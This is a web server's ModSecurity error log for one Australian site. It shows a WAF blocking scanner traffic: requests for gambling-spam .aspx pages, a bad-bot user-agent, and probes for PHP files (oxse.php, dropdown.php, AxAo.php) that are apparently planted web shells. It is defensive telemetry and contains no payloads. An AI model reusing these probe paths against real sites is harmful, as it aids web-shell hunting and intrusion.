[Thu Feb 05 19:44:25.533744 2026] [:error] [pid 31739:tid 31745] [client 217.182.195.126:35688] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aYSCmQGrHl_5BvMstJLWzgAAAAQ"]
[Thu Feb 05 19:44:28.142581 2026] [:error] [pid 31739:tid 31750] [client 217.182.195.126:45398] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aYSCnAGrHl_5BvMstJLW0gAAAAk"]
[Thu Feb 05 19:44:30.829361 2026] [:error] [pid 31775:tid 31817] [client 217.182.195.126:45410] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aYSCnhNlTj92HTKsJN0l0wAAAQw"]
[Thu Feb 05 19:44:33.611131 2026] [:error] [pid 31774:tid 31796] [client 217.182.195.126:45414] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aYSCoajDlLg1NOhSOXUvqwAAAJI"]
[Thu Feb 05 19:44:36.370411 2026] [:error] [pid 33396:tid 33414] [client 217.182.195.126:60524] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aYSCpPTgp_Ev6LiSSgDJ3gAAAMs"]
[Thu Feb 05 19:44:39.426826 2026] [:error] [pid 19213:tid 19238] [client 217.182.195.126:60528] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aYSCp17WBXhXgHKWAIBe9gAAAdQ"]
[Thu Feb 05 19:45:26.877864 2026] [:error] [pid 31775:tid 31813] [client 217.182.195.126:60536] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aYSC1hNlTj92HTKsJN0l_QAAAQg"]
[Thu Feb 05 19:45:29.714979 2026] [:error] [pid 31775:tid 31815] [client 217.182.195.126:34480] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aYSC2RNlTj92HTKsJN0l_wAAAQo"]
[Thu Feb 05 19:45:32.551128 2026] [:error] [pid 31775:tid 31810] [client 217.182.195.126:34486] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aYSC3BNlTj92HTKsJN0mAQAAAQU"]
[Thu Feb 05 19:45:35.164608 2026] [:error] [pid 31775:tid 31818] [client 217.182.195.126:34488] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aYSC3xNlTj92HTKsJN0mBQAAAQ0"]
[Thu Feb 05 19:45:38.029295 2026] [:error] [pid 19246:tid 19270] [client 217.182.195.126:37480] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aYSC4nE1Gc0V44f4mCdNtwAAAhM"]
[Thu Feb 05 19:45:40.802160 2026] [:error] [pid 19246:tid 19272] [client 217.182.195.126:37496] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aYSC5HE1Gc0V44f4mCdNugAAAhU"]
[Thu Feb 05 19:45:44.216956 2026] [:error] [pid 19246:tid 19255] [client 217.182.195.126:37504] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aYSC6HE1Gc0V44f4mCdNxgAAAgQ"]
[Thu Feb 05 19:45:46.933530 2026] [:error] [pid 14577:tid 14597] [client 217.182.195.126:38796] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aYSC6pZbKwRdMc_HlgKHewAAAVI"]
[Thu Feb 05 19:45:49.565228 2026] [:error] [pid 19246:tid 19253] [client 217.182.195.126:38812] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aYSC7XE1Gc0V44f4mCdN1AAAAgI"]
[Thu Feb 05 19:45:52.183171 2026] [:error] [pid 31774:tid 31801] [client 217.182.195.126:38822] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aYSC8KjDlLg1NOhSOXUv3QAAAJc"]
[Thu Feb 05 19:45:54.908748 2026] [:error] [pid 31739:tid 31750] [client 217.182.195.126:38834] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aYSC8gGrHl_5BvMstJLXAwAAAAk"]
[Thu Feb 05 19:45:57.646910 2026] [:error] [pid 31775:tid 31817] [client 217.182.195.126:34254] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aYSC9RNlTj92HTKsJN0mDgAAAQw"]
[Thu Feb 05 19:46:00.322137 2026] [:error] [pid 19246:tid 19253] [client 217.182.195.126:34258] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aYSC-HE1Gc0V44f4mCdN3QAAAgI"]
[Thu Feb 05 19:46:02.932959 2026] [:error] [pid 33396:tid 33405] [client 217.182.195.126:34272] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aYSC-vTgp_Ev6LiSSgDKCAAAAMI"]
[Thu Feb 05 19:46:05.725267 2026] [:error] [pid 19246:tid 19264] [client 217.182.195.126:34288] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aYSC_XE1Gc0V44f4mCdN6QAAAg0"]
[Thu Feb 05 19:46:09.966433 2026] [:error] [pid 19246:tid 19257] [client 217.182.195.126:35552] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aYSDAXE1Gc0V44f4mCdN8gAAAgY"]
[Thu Feb 05 19:46:13.219306 2026] [:error] [pid 19213:tid 19242] [client 217.182.195.126:35562] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aYSDBV7WBXhXgHKWAIBfOwAAAdg"]
[Thu Feb 05 19:46:16.971137 2026] [:error] [pid 31833:tid 31845] [client 217.182.195.126:39788] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aYSDCBzypZt5yekRAkFWpAAAAYo"]
[Thu Feb 05 19:47:32.177584 2026] [:error] [pid 31774:tid 31778] [client 217.182.195.126:42754] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aYSDVKjDlLg1NOhSOXUwOAAAAIA"]
[Thu Feb 05 19:47:35.717309 2026] [:error] [pid 33122:tid 33128] [client 217.182.195.126:51778] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aYSDV_W0IebAnFB9KDApTgAAAEQ"]
[Thu Feb 05 19:47:38.824070 2026] [:error] [pid 33396:tid 33414] [client 217.182.195.126:45450] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aYSDWvTgp_Ev6LiSSgDKPAAAAMs"]
[Thu Feb 05 19:47:42.310037 2026] [:error] [pid 31774:tid 31784] [client 217.182.195.126:45458] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aYSDXqjDlLg1NOhSOXUwRAAAAIY"]
[Thu Feb 05 19:47:45.728395 2026] [:error] [pid 31775:tid 31813] [client 217.182.195.126:45466] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aYSDYRNlTj92HTKsJN0mXAAAAQg"]
[Thu Feb 05 19:47:49.412015 2026] [:error] [pid 19246:tid 19267] [client 217.182.195.126:57224] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aYSDZXE1Gc0V44f4mCdOqAAAAhA"]
[Thu Feb 05 19:47:54.391627 2026] [:error] [pid 33122:tid 33136] [client 217.182.195.126:57234] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aYSDavW0IebAnFB9KDApYwAAAEw"]
[Thu Feb 05 19:47:57.377934 2026] [:error] [pid 31739:tid 31762] [client 217.182.195.126:34208] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aYSDbQGrHl_5BvMstJLXOgAAABU"]
[Thu Feb 05 19:48:00.605117 2026] [:error] [pid 31775:tid 31805] [client 217.182.195.126:34218] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aYSDcBNlTj92HTKsJN0mbwAAAQA"]
[Thu Feb 05 19:48:03.953066 2026] [:error] [pid 19246:tid 19259] [client 217.182.195.126:34224] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aYSDc3E1Gc0V44f4mCdOuAAAAgg"]
[Thu Feb 05 19:48:07.616370 2026] [:error] [pid 14577:tid 14583] [client 217.182.195.126:37960] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aYSDd5ZbKwRdMc_HlgKH1wAAAUQ"]
[Thu Feb 05 19:48:11.377624 2026] [:error] [pid 31775:tid 31816] [client 217.182.195.126:37964] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aYSDexNlTj92HTKsJN0mdgAAAQs"]
[Thu Feb 05 19:48:14.540653 2026] [:error] [pid 33396:tid 33404] [client 217.182.195.126:37974] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aYSDfvTgp_Ev6LiSSgDKTQAAAME"]
[Thu Feb 05 19:48:17.555893 2026] [:error] [pid 19213:tid 19230] [client 217.182.195.126:58806] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aYSDgV7WBXhXgHKWAIBfhgAAAcw"]
[Thu Feb 05 19:48:20.748959 2026] [:error] [pid 19213:tid 19234] [client 217.182.195.126:58810] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aYSDhF7WBXhXgHKWAIBfhwAAAdA"]
[Thu Feb 05 19:48:24.236563 2026] [:error] [pid 19246:tid 19265] [client 217.182.195.126:58826] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aYSDiHE1Gc0V44f4mCdO2AAAAg4"]
[Thu Feb 05 20:04:12.443927 2026] [:error] [pid 19246:tid 19275] [client 124.156.157.91:46244] [client 124.156.157.91] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aYSHPHE1Gc0V44f4mCdSqgAAAhg"]
[Thu Feb 05 21:00:20.653346 2026] [:error] [pid 19246:tid 19266] [client 165.154.251.75:17806] [client 165.154.251.75] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.vetstars.com.au"] [uri "/feed/"] [unique_id "aYSUZHE1Gc0V44f4mCdlcwAAAg8"]
[Thu Feb 05 22:22:24.386592 2026] [:error] [pid 19246:tid 19266] [client 20.220.62.160:61760] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/"] [unique_id "aYSnoHE1Gc0V44f4mCd_kwAAAg8"]
[Thu Feb 05 22:22:24.997829 2026] [:error] [pid 31833:tid 31850] [client 20.220.62.160:61794] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/"] [unique_id "aYSnoBzypZt5yekRAkFxkgAAAY8"]
[Thu Feb 05 22:22:25.544842 2026] [:error] [pid 31833:tid 31848] [client 20.220.62.160:61814] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/"] [unique_id "aYSnoRzypZt5yekRAkFxlAAAAY0"]
[Thu Feb 05 22:22:26.065724 2026] [:error] [pid 19213:tid 19223] [client 20.220.62.160:61708] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/"] [unique_id "aYSnol7WBXhXgHKWAIB5rAAAAcU"]
[Thu Feb 05 22:22:26.876345 2026] [:error] [pid 31739:tid 31742] [client 20.220.62.160:61727] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oxse.php"] [unique_id "aYSnogGrHl_5BvMstJLvMwAAAAE"]
[Thu Feb 05 22:22:27.459436 2026] [:error] [pid 31739:tid 31757] [client 20.220.62.160:61762] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oxse.php"] [unique_id "aYSnowGrHl_5BvMstJLvNQAAABA"]
[Thu Feb 05 22:22:28.617005 2026] [:error] [pid 31775:tid 31826] [client 20.220.62.160:61740] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oxse.php"] [unique_id "aYSnpBNlTj92HTKsJN1GaQAAARU"]
[Thu Feb 05 22:22:29.280629 2026] [:error] [pid 19246:tid 19261] [client 20.220.62.160:61753] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oxse.php"] [unique_id "aYSnpXE1Gc0V44f4mCd_oQAAAgo"]
[Thu Feb 05 22:22:30.037454 2026] [:error] [pid 31739:tid 31758] [client 20.220.62.160:61716] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dropdown.php"] [unique_id "aYSnpgGrHl_5BvMstJLvOQAAABE"]
[Thu Feb 05 22:22:30.699131 2026] [:error] [pid 19213:tid 19230] [client 20.220.62.160:61031] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dropdown.php"] [unique_id "aYSnpl7WBXhXgHKWAIB5uAAAAcw"]
[Thu Feb 05 22:22:31.172293 2026] [:error] [pid 31774:tid 31786] [client 20.220.62.160:61773] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dropdown.php"] [unique_id "aYSnp6jDlLg1NOhSOXVMlQAAAIg"]
[Thu Feb 05 22:22:31.676051 2026] [:error] [pid 31739:tid 31746] [client 20.220.62.160:61744] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dropdown.php"] [unique_id "aYSnpwGrHl_5BvMstJLvOgAAAAU"]
[Thu Feb 05 22:22:32.205086 2026] [:error] [pid 19246:tid 19256] [client 20.220.62.160:61809] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/AxAo.php"] [unique_id "aYSnqHE1Gc0V44f4mCd_pgAAAgU"]
